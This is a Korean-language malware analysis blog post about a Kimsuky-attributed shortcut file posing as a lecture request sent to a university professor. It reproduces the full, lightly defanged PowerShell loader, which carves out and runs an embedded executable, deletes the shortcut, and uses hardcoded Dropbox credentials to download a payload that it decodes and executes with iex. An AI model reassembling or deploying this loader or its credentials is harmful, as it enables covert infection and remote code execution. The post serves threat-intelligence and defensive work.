꿈을꾸는 파랑새

오늘은 우리 북한 해킹 단체 김수키(Kimsuky)에서 만든 악성코드인 강연의뢰서_엄구호 교수님.docx.lnk(2024.6.4)에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 대상 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체입니다.
뭐~전 세계적으로 유명하니까? 해당 설명은 건너 띄고 해당 악성코드는 한양대학교 서울캠퍼스 국제학부 교수이신 분을 대상으로 한 것 같고 제목 보니까 강연의뢰서라고 돼 있는 것이 워드 파일인 것처럼 해서 해당 교수님에게 강연 의뢰서인 것처럼 해서 해킹을 시도하는 것 같습니다.
악성코드 해쉬값
파일명:강연의뢰서_엄구호 교수님.docx.lnk.lnk
사이즈:1.01 MB
MD5:52d073c181531c7f0b8b3aa764c6551d
SHA-1:a64e0a2e0a9b213966e6325efecc5e0b187f95f9
SHA-256:3065b8e4bb91b4229d1cea671e8959da8be2e7482067e1dd03519c882738045e
파워셀 을 대충 보니 123.docx 이라는 최종적으로 해당 워드 문서를 보여 주게 돼 있고 구글 드라이브 와 드롭박스에서 악성코드를 업로드 해서 해당 부분을 통해서 악성코드를 다운로드 하는 것을 추측할 수가 있고 파워셀을 보면 다음과 같습니다.

악성코드에 포함이 된 Powershell 코드
악성코드에 포함이 된 Powershell 코드

악성 Powershell 코드

/c powershell -windowstyle h(i)dden -nop -No(P)rofile 
-NonInteractive  -c "$t(m)p = '%temp%';$lnk(p)ath = Get
-ChildItem *(.)lnk;for(e)ach ($path in $ln(k)path) { if ($
path.l(e)ngth -eq 0x(0)0103CFB) { $ln(k)path = $path;}}fo(r)
each ($item in $lnkpath) { $(l)nkpath = $item(.)Name;}$InputStr
eam = New(-)Object System.IO.F(i)leStream($lnkpath, [IO.FileMo(d
)e]::Open, [System.I(O).FileAccess]::Read);$fil(e)=New-Object Byte[]($
InputStream(.)length);$len=$InputStream(.)Read($file,0,$file.Len(g)th);$
Inpu(t)Stream.Dispose();w(r)ite-host \"readfi(l)eend\";$path = $lnkpath.su
b(s)tring(0,$lnkpath.length-4);($)len1 =    105713(2);$len2 =    1062657(;)
$len3 =    1(0)62657;$temp = New(-)Object Byte[]($len2(-)$len1);write(-)hos
t \"exes(t)art\";for($i=$len1; $i -lt ($)len2; $i++) { $(t)emp[$i-$len1] = 
$file([)$i]};sc $path ([b(y)te[]]$temp) -E(n)coding Byte;write-host \"e(x)ee
nd\";$temp = New(-)Object Byte[]($file(.)Length-$len3);for($i=$len3; $i -lt 
$file(.)Length; $i++) { $te(m)p[$i-$len3] = $fil(e)[$i]}; $encData_b64 = Sta
rt-(P)rocess -FilePath $path;[System(.)IO.File]::Dele(t)e($lnkpath);Function
Deco(d)e-Binary { param( [Parameter(Pos(i)tion = 0, Manda(t)ory = $True)] [b
yte[]] $b(i)nary,[Par(a)meter(Position = 1, Manda(t)ory = $True)] [lon(g)] $
len) [int[]] $(p)oly = @(0, 3, 29(,) 37, 73);$p(o)ly_n = 4;$poly_ord = 73;  
[byte[]] $r(a)n_state = New-Obj(e)ct byte[] ($poly_ord + 1);for ($i = 0; $i 
-lt $poly_o(r)d + 1; $i++){  $ran_state[$i] = 1; if ($i -lt $len){ $ran_stat
e[$i] = [byte](($len % ($i + 1)) -band 1);}}for ($i = 0; $i -lt $len; $i++) 
{ for ($j = 1; $j -lt $poly_n; ($)j++) { $ran_state[$i % $poly_ord] = $ran_s
tate[$i % $poly_ord] -bxor $ran_state[($i + $(p)oly[$j]) % $poly_ord]; }  fo
r ($j = 0; $j -lt 8; $j++) { $binary[$i] = $binary[$i] (-)bxor [byte]((($ran
_state[$j] -bxor ($ran_state[($i * ($j + 1)) % $poly_ord] -band $ran_sta(t)e
[(($i + $j) * ($j + 1)) % $poly_ord])) -shl $j));}} retu(r)n $len } $clientI
D = \"x2f7(2)05ajf3knq9\";$clientSecret = \"mz2vl6yajc2rpy2\";$refreshToken 
= \"1G9ctDOJDPUAA(A)AAAAAAAZYmjGqbo7QXmh9lu_K5JcgYq7UVVP5hXcGJn1v4slGa\";$bo
dy = @{grant_type=\"refresh_token\";refresh_token=$refreshToken;client_id=$c
lientID;client_secret=$clientSecret};$tokenEndpoint = \"hxxps://api.dropboxa
pi(.)com/oauth2/token\";$response = Invoke-RestMethod -Uri $tokenEndpoint -M
ethod Po(s)t -Body $body;if ($response.access_token) {$accessToken = $respon
se.access_token;}$dow(n)loadUrl = \"hxxps://content.dropboxapi(.)com/2/files
/download\";$remot(e)FilePath = \"/0603/ps(.)bin\";$request = [System.Net.H(
t)tpWebRequest]::Create($downloadUrl);$request(.)Method = \"POST\";$request.
Hea(d)ers.Add(\"Authorization\", \"Bearer $accessTok(e)n\");$r(e)quest.Heade
rs.Add(\"Dropbox-API(-)Arg\", '{\"path\": \"' + $remoteFilePath (+) '\"}');$
response = $request.GetResponse();$receiveStream = $response.GetResponseStre
am();if ($receiveStream -ne $null) {$streamReader = New-Object System.IO.Str
eamReader($receiveStream);$me(m)oryStream = New-Object System.IO.MemoryStrea
m;$buffer = New-Object (b)yte[] 1024;$read = 0;do { $read = $receiveStream.R
ead($buffer, 0, $buffer.Le(n)gth);$memoryStream.Write($buffer, 0, $read);} w
hile ($read -gt 0);$enc_bytes = $me(m)oryStream.ToArray();Decode-Binary ($en
c_bytes) ($enc_by(t)es.Length);$newString = [System.Text.Encoding]::(U)TF8.G
etString($enc_bytes);iex $newString;$memoryStream.Cl(o)se();$streamReader(.)
Close();};$rec(e)iveStream.Close();$response.Close();"
    iconlocation: .\123.docx
}

악성코드 분석

해당 악성코드는 Powershell(파워셀)을 통해서 실행됩니다.
1. 파일 처리 및 필터링:
현재 디렉터리에서. lnk (바로가기) 파일을 식별
특정 파일 크기(0x00103C(F)B)를 확인하여 특정 바로 가기 파일을 찾음
2. lnk 파일 읽기:
식별된. lnk 파일의 내용을 바이트 배열로 읽어들임
3. 바이트 조작 및 파일 생성:
읽어들인 바이트 배열을 세그먼트로 나누어 새 실행 파일을 생성
새로 생성된 파일은 로컬에 저장
4. 실행 및 정리:
새로 생성된 실행 파일을 Start-Process를 사용해 실행
원래의 (.)lnk 파일은 삭제
5.커스텀 바이너리 디코딩 함수:
Decode-Binary 함수는 바이트 배열을 조작하는 커스텀 디코딩 메커니즘을 사용하여 디코딩
6.Dropbox API 상호작용:
하드코딩된 자격 증명(clientID,clientSecret, refreshToken)을 사용하여 Dropbox API와 상호작용.
액세스 토큰을 가져온 다음 이를 사용하여 Dropbox에서 파일(ps(.)bin)을 다운로드
7. 파일 디코딩 및 실행:
다운로드된 파일을 메모리에 읽어들임
Decode-Binary 함수를 사용해 디코딩
디코딩된 내용을 iex (Invoke-Expression)를 사용해 현재 PowerShell 세션에서 실행
각 세그먼트의  분석
.lnk 파일 식별 및 읽기
$tmp = '%temp%';
$lnkpath = Get-ChildItem *.lnk;
foreach ($path i(n) $l(n)kpath) { if ($pa(t)h.length -eq 0x00(1)03CFB) { $(l)nkpath = $path;}}
foreach ($item in $(l)nkpath) { $lnkpath = $item.Name;}
$InputStream = Ne(w)-Object System(.)IO.FileS(t)ream($lnkpath, [IO(.)FileMode]::Open, [System.IO.FileAccess]::Read);
$file=New-Object Byte[]($Inpu(t)Stream.length);
$len=$InputStream.Read($file,0,$(f)ile.Length);
$InputS(t)ream.D(i)spose();
write(-)host "readf(i)leend";
해당 부분은 .lnk 파일을 검색하고 크기로 필터링한 후 내용을 바이트 배열로 읽어들임
실행 파일 생성
$path = $lnkpath(.)substring(0,$lnkpath.length-4);
$(l)en1 = 10(5)7132;
$le(n)2 = 1062(6)57;
$te(m)p = New-Object B(y)te[]($len2-$len1);
write-host "exestart";
for($i=$len1; $i -lt $l(e)n2; $i++) { $temp[$i-$len1] = $file[$i]};
sc $path ([byte[]]$temp) (-)Encoding Byte;
write-host "exe(e)0nd";
해당 코드 세그먼트는 .lnk 파일에서 읽어들인 바이트 배열의 일부를 추출하여 새 실행 파일로 저장
실행 및 .lnk 파일 삭제
$temp = New-Object Byte[]($file1(.)Length-$len3);
for($i=$len3; $i -lt $file.Length; $(i)++) { $temp[($)i-$len3] (=) $file[$i]};
$encData(_)b64 = Start-Process -FilePath $path;
[System.IO(.)File]::D(e)lete($lnkpath);
새로운 실행 파일을 실행하고 원래의 .lnk 파일을 삭제
바이너리 디코딩 함수
powershell
Function Decode-Binary { 
    param( 
해당 함수는 바이트 데이터를 변환하는 커스텀 디코딩 방식을 사용합니다. 정확한 변환 방식은 비표준이며 맞춤 제작된 것으로 보입니다.
Dropbox API 상호작용
하드코딩된 자격 증명을 사용해 Dropbox에 인증
Dropbox에서 파일을 다운로드
다운로드된 파일을 Decode-Binary 함수를 사용해 디코딩 및 실행
결론
해당 PowerShell 스크립트는 특정 파일을 검색 파일 내용을 조작하고 Dropbox에서 추가 페이로드를 다운로드하고 실행하는 등 여러 작업을 수행을 합니다.전형적인 트로이 목마(Trojan horse)<-
그리스 로마 신화에 등장하는 목마 생각하시면 됩니다.
2024-06-25 11:02:23 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/LNK.Agent.SC199941
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.781.B4AAC4E8
Avast:LNK:Agent-EW [Trj]
AVG:LNK:Agent-EW [Trj]
BitDefender:Heur.BZC.YAX.Boxter.781.B4AAC4E8
Emsisoft:Trojan.PowerShell.Gen (A)
eScan:Heur.BZC.YAX.Boxter.781.B4AAC4E8
ESET-NOD32:LNK/Kimsuky.I
Fortinet:LNK/Kimsuky.GOSU!tr
GData:Heur.BZC.YAX.Boxter.781.B4AAC4E8
Google:Detected
Ikarus:Trojan.LNK.Kimsuky
Kaspersky:HEUR:Trojan.Multi.Agent.gen
Kingsoft:Script.Troj.BigLnk.22142
Lionic:Trojan.WinLNK.Boxter.4!c
MAX:Malware (ai Score=100)
Microsoft:Trojan:Win32/Casdet!rfn
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Troj/LnkObf-T
Symantec:Scr.Mallnk!gen13
Trellix (FireEye):Heur.BZC.YAX.Boxter.781.B4AAC4E8
Varist:LNK/ABRisk.OYQO-3
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.781.B4AAC4E8
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Agent.gen
결론 기본적인 보안 수칙을 잘 지키면 북한 해킹 단체들은 정부 관계자 뿐만 아니라 민간 군들을 공격하고 있으므로 항상 조심을 해야 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band